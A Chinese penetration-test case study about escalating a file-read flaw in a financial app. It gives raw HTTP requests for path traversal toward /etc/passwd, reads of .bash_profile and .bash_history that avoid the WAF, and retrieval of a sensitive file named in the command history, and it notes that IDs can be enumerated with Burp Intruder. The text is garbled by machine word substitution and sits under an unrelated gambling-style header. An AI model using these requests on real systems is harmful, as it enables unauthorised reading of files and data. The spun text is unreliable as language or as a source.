庄闲游戏

证券简称:庄闲游戏 证券代码:002212
7x24小时效劳: 400-777-0777

案例分享丨一次文件读取误差的“危害升级”历程

在授权测试某金融类APP时,,,,发明一个鸡肋低危文件读取误差,,,,实验将其升级为高危 。。发明首次翻开APP时,,,,会向效劳器读取文件加载并展示图片 。。测试时一定要仔细,,,,笔者发明只有首次翻开APP时,,,,才会加载图片,,,,后面再翻开应该是资源已被纪录,,,,就不会向效劳器再次举行请求了 。。

案例分享丨一次文件读取误差的“危害升级”历程

宣布时间:2022-11-04
浏览次数:5181
分享:

在授权测试某金融类APP时,,,,发明一个鸡肋低危文件读取误差,,,,实验将其升级为高危 。。

PS:本文仅用于手艺讨论与剖析,,,,严禁用于任何不法用途,,,,违者效果自尊 。。

0x00 起源探测

发明首次翻开APP时,,,,会向效劳器读取文件加载并展示图片 。。

测试时一定要仔细,,,,笔者发明只有首次翻开APP时,,,,才会加载图片,,,,后面再翻开应该是资源已被纪录,,,,就不会向效劳器再次举行请求了 。。

此加载展示图片的GET请求数据包如下:

GET /ixxx/LgonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName=this_is_image.jpg HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

拿到这个数据包的第一反应,,,,以往的渗透测试履历告诉我,,,,从这个地方或许路会保存文件读取误差 。。

剖析并推测功效点URI的每个参数的功效 。。

LogonImageDir=/XXXXX/Pictures - 图片所在的目录

SaveXxxxxImageName=this_is_image.jpg - 目录下的图片名

0x01 误差测试

既然已经起源探测到了可能保存误差的危害点,,,,并且文件读取功效的参数已经搞清晰,,,,下一步就睁开读取测试 。。

首先测试,,,,是否可以举行目录列出,,,,直接将SaveXxxxxImageName参数置空,,,,看看是否可以读取/XXXXX/Pictures目录下的内容:

GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName= HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

返回为“空”,,,,失败,,,,说明程序功效点不保存列出目录误差:

测试是否可以跳出目录,,,,选用Payload如下:

GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../../../../../../etc/&SaveXxxxxImageName=passwd HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

返回某恒防火墙阻挡界面,,,,失败:

接下来进一步测试,,,,是/etc/passwd触发的WAF,,,,照旧/../触发的WAF 。。

测试只举行一层目录跳出,,,,并且删除/etc/passwd要害字:

GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../&SaveXxxxxImageName= HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

唔...看来/../的特殊字符就已经触发了WAF:

之后想到实验对数据包举行POST类型转换,,,,使用POST传参的一些方法举行WAF的测试,,,,如:

URL编码

分块传输

脏数据填充

包体转换

畸形数据包

......

可是无奈,,,,POST请求直接无法传参,,,,程序限制了GET请求吸收参数 。。

(不过,,,,厥后测试其他POST传参的功效时,,,,发明以笔者现有的WAF绕过履历思绪,,,,基础无法对某恒的WAF举行绕过.....)

0x02 误差确认

总结以上对此文件读取误差网络到的信息:

目录无法跨越,,,,并且文件读取的路径在目今根目录;;;;

特殊字符串,,,,已被WAF完善防护� 。�;;;;

无法获取目录下的文件名、无法预知是否可以读取其他后缀文件 。。

测试到这里突然灵光一闪,,,,想到了“.bash_history”,,,,若是网站根目录保存此文件,,,,并且可以读取,,,,上面的疑问就可以直接解决泰半了,,,,先来相识一下这些文件作用:

.bash_profile:此文件为系统的每个用户设置情形信息,,,,当用户第一次登录时,,,,该文件被执行 。。

.bash_history:该文件生涯了目今用户输入过的历史下令;;;;

.bash_logout:该文件的用途是用户注销时执行的下令,,,,默以为空;;;;

.bashrc:此文件为每一个运行bash shell的用户执行此文件 。。当bash shell被翻开时,,,,该文件被读取 。。

于是直接对网站根目录举行.bash_profile的盲测:

GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_profile HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

此payload既阻止了跳出目录,,,,又避开了WAF严打的特殊字符,,,,可是唯一遗漏的.bash文件被我们使用到了 。。

激动的心颤抖的手,,,,看来目今网站根目录确实是此用户的目录,,,,并且用户在此根目录下执行过下令!

接下来实验进一步扩大危害 。。

0x03 危害升级

不清晰目今目录结构,,,,就代表着无法定向读取文件,,,,可是尚有一个.bash_history我们没有使用到,,,,看看是否可以在其中获取到更主要的信息 。。

读取根目录下的.bash_history:

GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_history HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

信息量虽然少,,,,可是已经有了新的希望:

由历史下令得知,,,,治理员cd进入了两层目录:/Nxxxx/xxFile/

并且审查了xx_20201022_51xxx.txt文件 。。

直接结构读取此文件!

GET /ixxx/LogonImage.do?XxxxxImageDir=/Nxxxx/xxFile&SaveXxxxxImageName=xx_20201022_51xxx.txt HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

乐成读取到了敏感的数据信息:

并且文件的ID值为时间戳+ID顺序编号组成,,,,可轻松遍历出所有的信息 。。

Burpsuite Intruder�???椴馐裕�

实验遍历10个ID值乐成 。。

0x04 回首总结

保存的难题:目录无法跨越、WAF盯防、无法预知目录文件结构 。。

在此情形下,,,,使用Linux文件系统特征,,,,仍然可以将低危误差提升至高危 。。

并且危害的品级崎岖是无法预估的,,,,这取决于.bash_history会给我们泄露几多信息,,,,以是文件读取误差保存时间越久,,,,纪录的工具越多,,,,危害越大!

要害词标签:
网络清静 文件读取误差,
客户效劳热线

400-777-0777
7*24小时效劳

联系邮箱

servicing@topsec.com.cn

扫码关注
【网站地图】【sitemap】